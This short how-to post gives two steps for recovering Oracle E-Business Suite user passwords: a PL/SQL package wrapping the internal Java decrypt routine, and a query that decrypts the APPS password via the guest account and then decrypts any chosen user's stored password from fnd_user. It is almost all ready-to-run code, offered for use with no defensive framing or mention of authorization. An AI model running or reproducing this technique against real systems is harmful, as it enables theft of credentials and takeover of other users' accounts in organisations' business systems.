Finding EBS Application Passwords
It is easy to
Find Oracle EBS Application User Passwords
in just 2 simple steps:
Step 1 - Create Following Package:
CREATE OR REPLACE PACKAGE MY_PKG
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END ;
CREATE OR REPLACE PACKAGE BODY MY_PKG
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END ;
2 - Run Following Query :
SELECT usr.user_name,
MY_PKG.decrypt
((SELECT (SELECT MY_PKG.decrypt
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
'/'
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROM fnd_user usr
WHERE usr.user_name = :USER_NAME;
